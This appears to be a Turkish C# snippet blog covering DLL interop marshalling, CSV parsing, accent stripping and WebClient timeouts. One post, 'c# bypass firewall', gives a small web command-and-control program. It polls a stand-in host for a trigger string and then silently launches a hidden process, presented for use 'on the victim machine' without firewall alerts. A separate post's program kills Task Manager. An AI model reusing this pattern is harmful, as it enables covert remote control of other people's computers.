28 Temmuz 2016 Perşembe

Creating a C# Module From a DLL Header File

-Create a public class - Create public static methods in this class using

http://community.silabs.com/mgrfq63796/attachments/mgrfq63796/5%40tkb/331/1/Creating%20a%20C%23%20Module%20From%20a%20DLL%20Header%20File.pdf

DLLImport for each exported function Example: C (.h) File: __declspec(dllexport) int Add(int a, int b); C# (.cs) File: public class MathDll { [DllImport("Math.dll")] public static extern int Add(int a, int b); } - Create public const class members for each #define constant Example: C(.h) File: #define PI 3.14159 #define START_OF_FRAME 0x55 C# (.cs) File: public class SomeDll { public const double PI = 3.14159; public const byte START_OF_FRAME = 0x55; } - Use the appropriate data types: Type C C# 1 byte unsigned bool, unsigned char, BYTE byte 1 byte signed char sbyte 2 bytes unsigned unsigned short, WORD ushort 2 bytes signed short short 4 bytes unsigned unsigned int, unsigned long, UINT, DWORD uint 4 bytes signed int, long, BOOL int 4 bytes floating point float float 8 bytes floating point double double 4/8 byte pointer void* IntPtr See http://msdn.microsoft.com/en-us/library/4xwz0t37(VS.80).aspx for more information on data types. - Special cases: 1. Parameters passed as a pointer should use the ref keyword. Example: C (.h) File: __declspec(dllexport) void Halve(BYTE* value); C# (.cs) File: public class MathDll { [DllImport("Math.dll")] public static extern void Half(ref byte value); } 2. Parameters passed as an output C string (char* or LPSTR) should use the StringBuilder class. Example: C (.h) File: __declspec(dllexport) void GetName(char* name, int size); C# (.cs) File: using System.Text; public class SomeDll { [DllImport("Some.dll")] public static extern void GetName(StringBuilder name, int size); } Calling Example: StringBuilder name = new StringBuilder(100); SomeDll.GetName(name, 100); 3. Parameters passed as an input C string (const char* or LPCSTR) should use the string class. Example: C (.h) File: __declspec(dllexport) void SetName(const char* name); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void SetName(string name); } Calling Example: string name = “John Smith”; SomeDll.SetName(name); 4. Parameters passed as an array should use C# arrays. Example: C (.h) File: __declspec(dllexport) void GetBuffer(BYTE* buffer, int size, int* bytesReturned); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void GetBuffer(byte[] buffer, int size, ref int bytesReturned); } Note: Arrays in C# are considered objects. As such, arrays are already passed by reference, therefore you should not add the ref keyword before the array. 5. Parameters passed as a void pointer (void*) should use the IntPtr type. Example: C (.h) File: __declspec(dllexport) void SetObject(void* object); __declspec(dllexport) void GetObject(void** object); C# (.cs) File: public class SomeDll { [DllImport("Some.dll")] public static extern void SetObject(IntPtr object); [DllImport("Some.dll")] public static extern void GetObject(ref IntPtr object); } Note: Passing pointers can be problematic when dealing with 32-bit/64-bit systems. IntPtr is platform dependent, meaning that it is a four byte pointer on 32-bit systems and an eight byte pointer on a 64-bit system. A .NET application running in 64-bit mode will not be able to load a 32-bit DLL. You must either build a separate 64-bit DLL or modify your .NET project to only run in 32-bit mode. 6. Structures must always be passed by reference in the C DLL. Example: C (.h) File: typedef struct PERSON { BYTE id; WORD month; char name[10]; } PERSON, *PPERSON; __declspec(dllexport) void GetPerson(PPERSON person); __declspec(dllexport) void SetPerson(PPERSON person); C# (.cs) File: using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public class PERSON { public byte id; public ushort month; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte [] name; } public class SomeDLL { [DllImport(“SomeDLL.dll”)] public static extern void GetPerson( [In,Out, MarshalAs(UnmanagedType.LPStruct)] PERSON person); [DllImport(“SomeDLL.dll”)] public static extern void SetPerson( [In, MarshalAs(UnmanagedType.LPStruct)] PERSON person); } Calling Example: PERSON person = new PERSON(); SomeDLL.GetPerson(person); person.id = 2; SomeDLL.SetPerson(person); Note: The “In” attribute forces marshaling data from the caller to the callee. The “Out” attribute forces marshaling data from the callee back to the caller. The default attribute is “In”. If “Out” is specified, then “In” does not implicitly apply. 7. Parameters passed as an array of structs should use C# arrays of Structs passed by value with the In/Out attributes specified as needed. Examples: C (.h) File: typedef struct PERSON { BYTE id; WORD month; char name[10]; } PERSON, *PPERSON; __declspec(dllexport) void GetPeople(PERSON people[], DWORD* numPeople); __declspec(dllexport) void SetPeople(PERSON people[], DWORD numPeople); C# (.cs) File: using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct PERSON { public byte id; public ushort month; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] public byte[] name; } public class SomeDLL { [DllImport("StructTest.dll")] public static extern void GetPeople([In, Out]PERSON[] people, ref uint numPeople); [DllImport("StructTest.dll")] public static extern void SetPeople(PERSON[] people, uint numPeople); } Calling Example: PERSON[] people = new PERSON[2]; uint numPeople = (uint)people.Length; people[0].id = 1; people[0].month = 11; people[0].name = new byte[10]; people[0].name[0] = 0x31; people[1].id = 2; people[1].month = 12; people[1].name = new byte[10]; people[1].name[0] = 0x32; SomeDLL.SetPeople(people, numPeople); numPeople = (uint)people.Length; SomeDLL.GetPeople(people, ref numPeople); 8. Callbacks must be defined as C# delegates. Examples: C (.h) File: typedef void (CALLBACK *ProgressCallback)(int percent); __declspec(dllexport) void RegisterProgress(ProgressCallback progress); C# (.cs) File: public class SomeDLL { public delegate void ProgressCallback(int percent); [DllImport("Some.dll")] public static extern void RegisterProgress(ProgressCallback progress); } Calling Example: void Progress(int percent) { // do something with the progress percent } void CallingExample() { SomeDLL.RegisterProgress(new SomeDLL.ProgressCallback(Progress)); } 9. Win32 BOOL (4-byte int) data types can be automatically marshaled as a C# bool data type (1-byte). Examples: C (.h) File: __declspec(dllexport) void SetEnable(BOOL enable); __declspec(dllexport) void GetEnable(BOOL* enable); C# (.cs) File: public class SomeDLL { [DllImport("Some.dll")] public static extern void SetEnable(bool enable); [DllImport("Some.dll")] public static extern void GetEnable(ref bool enable); } Calling Example: bool success; bool enable = true; SomeDLL.SetEnable(enable); SomeDLL.GetEnable(ref enable); if (enable) { success = true; }

c# bypass firewall

using System;
using System.IO;
using System.Net;
using System.Text;



namespace WebGet
{
    class Webget
    {
        public static void Main()
        {
            // Create a request for the URL. 
            WebRequest request = WebRequest.Create(
              "http://www.firewal.bypass.com/index3.html");
            // If required by the server, set the credentials.
            request.Credentials = CredentialCache.DefaultCredentials;
            // Get the response.
            WebResponse response = request.GetResponse();
            // Display the status.
            Console.WriteLine(((HttpWebResponse)response).StatusDescription);
            // Get the stream containing content returned by the server.
            Stream dataStream = response.GetResponseStream();
            // Open the stream using a StreamReader for easy access.
            StreamReader reader = new StreamReader(dataStream);
            // Read the content.
            string responseFromServer = reader.ReadLine();
            // Display the content.
            
                Console.WriteLine(responseFromServer);
                Console.ReadLine();
            
            // Clean up the streams and the response.
            reader.Close();
            response.Close();
            if(responseFromServer=="<html_NOTEPAD>")
            {
            string WorkingDirectory = "C:\\Windows"; 
            try
            {
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.WorkingDirectory = WorkingDirectory;
                p.StartInfo.FileName =  WorkingDirectory + "\\" + "notepad.exe";
                p.StartInfo.Arguments = null;     
                // build here the arguments                       
                p.EnableRaisingEvents = true;         
                // if you want to capture events
                p.StartInfo.UseShellExecute = false;
                p.Start();
            }
            catch(Exception exProcess){}
        }


        }
        

    }
}

And finally for Web Command and Control, have a website setup to feed a <html_NOTPEAD> in its index3.html page... run this on the victim machine and Notepad will spawn, no big deal really, EXCEPT that ZoneAlarm and MCSFT Firewall wont ALERT the user to anything...

c# dll çalıştırma

public static class DllHelper
{
    [System.Runtime.InteropServices.DllImport("Dll1.dll")]
    public static extern int function1();
}

private void buttonStart_Click(object sender, EventArgs e)
{
    try
    {
        DllHelper.function1();
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
    }
}      



--------

You'll need to load the assembly from disk, as follows:
Assembly myLibrary = System.Reflection.Assembly
    .LoadFile("C:\\Users\\Admin\\Desktop\\myTestLibrary.dll");
After that you will need to get the proper type using reflection and invoke the proper method. It will be most convenient when that class you want to call implements an interface that is defined in an assembly that is referenced at startup:
Type myClass = (
    from type in myLibrary.GetExportedTypes()
    where typeof(IMyInterface).IsAssignableFrom(type)
    select type)
    .Single();

var instance = (IMyInterface)Activator.CreateInstance(myClass);

instance.executeMethod("showMessageMethod", arg1, arg2, arg3...);

4 Temmuz 2016 Pazartesi

c# windows process

1). Create a new C# windows application in Visual Studio.
2). Drag from the ToolBox onto the window the following items:
a). 1 listbox
b). 2 buttons
c). 1 label
d). 1 timer
e). 1 label
3). Rename the following from their properties box:
listbox1—>listboxProcess
textBox1—>textBoxName
button1—>buttonBlock
button2—>buttonAllow
label1—>labelStatus
4). Also, make the value of HorizontalScrollBar in the properties of listbox as “true”.
5). Value of Enabled=true and Interval=100 for the timer in the properties box.
6). Give your form the following look:
7). Place the labelStatus below the buttons. This will tell us if the application is blocking a process or not.
8). Include the following line in the .cs file: “using System.Diagnostics;” This will not be automatically written by      Visual Studio.
9). Write the following lines of code in form’s load event, button click events, etc etc.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;//INCLUDED MANUALLY
namespace TaskMan
{
public partial class FormTaskMan : Form
{
string targetProcess;
public FormTaskMan()
{
InitializeComponent();
}
private void FormTaskMan_Load(object sender, EventArgs e)
{
//GETTING THE LIST OF PROCESSES
foreach (Process p in Process.GetProcesses())
{
listBoxProcess.Items.Add(p.ProcessName+”—–>”+p.MainWindowTitle
}
labelStatus.Text = “”;
}
private void buttonBlock_Click(object sender, EventArgs e)
{
targetProcess = textBoxName.Text;
labelStatus.Text = textBoxName.Text + ” BLOCKED!”;
}
private void buttonAllow_Click(object sender, EventArgs e)
{
targetProcess = “”;
labelStatus.Text =”ALLOWED!”;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (Process p1 in Process.GetProcesses())
{
//targetProcess WILL BE BLOCKED, WINDOWS TASKMANAGER WILL BE BLOCKED, AND THE APPLICATION ITSELF CANNOT BE BLOCKED!
if ((p1.ProcessName==targetProcess) || p1.ProcessName.StartsWith(“taskmgr”) && p1.ProcessName.StartsWith(“TaskMan”)==false)
{
try
{
p1.Kill();
}
catch (Win32Exception)
{
//Process cannot be blocked😦
}
}
}
}
}
}
Enjoy…😛
Try it our with a few processes like “wmplayer” for Windows Media Player, “firefox” for Mozilla Firefox, “iexplore” for Internet Explorer…

22 Haziran 2016 Çarşamba

c# csv reading

using (TextFieldParser parser = new TextFieldParser(@"c:\temp\test.csv"))
{
    parser.TextFieldType = FieldType.Delimited;
    parser.SetDelimiters(",");
    while (!parser.EndOfData) 
    {
        //Processing row
        string[] fields = parser.ReadFields();
        foreach (string field in fields) 
        {
            //TODO: Process field
        }
    }
}
It w

10 Mayıs 2016 Salı

C#’ta Türkçe Karakterleri İngilizce Karakterlere Dönüştürme

C# ta türkçe karakterleri tek tek replace yapmadan aşağıdaki fonksiyon ile ingilizce karakterlere çevirebilirsiniz.
string ConvertTRCharToENChar(string text)
{
return String.Join("", text.Normalize(NormalizationForm.FormD)
.Where(c => char.GetUnicodeCategory(c) != UnicodeCategory.NonSpacingMark));
}

23 Nisan 2016 Cumartesi

c# webclient timeout ekleme

public class WebClientEx : WebClient
 {
     public int Timeout {get; set;}

     protected override WebRequest GetWebRequest(Uri address)
     {
        var request = base.GetWebRequest(address);
        request.Timeout = Timeout;
        return request;
     }
 }
Usage:
 var myClient = new WebClientEx();
 myClient.Timeout = 900000 // Daft timeout period
 myClient.UploadData(myUri, myData);

artık ürettiğiniz metodu kullanıcaksınız webclientEx olucak yani ..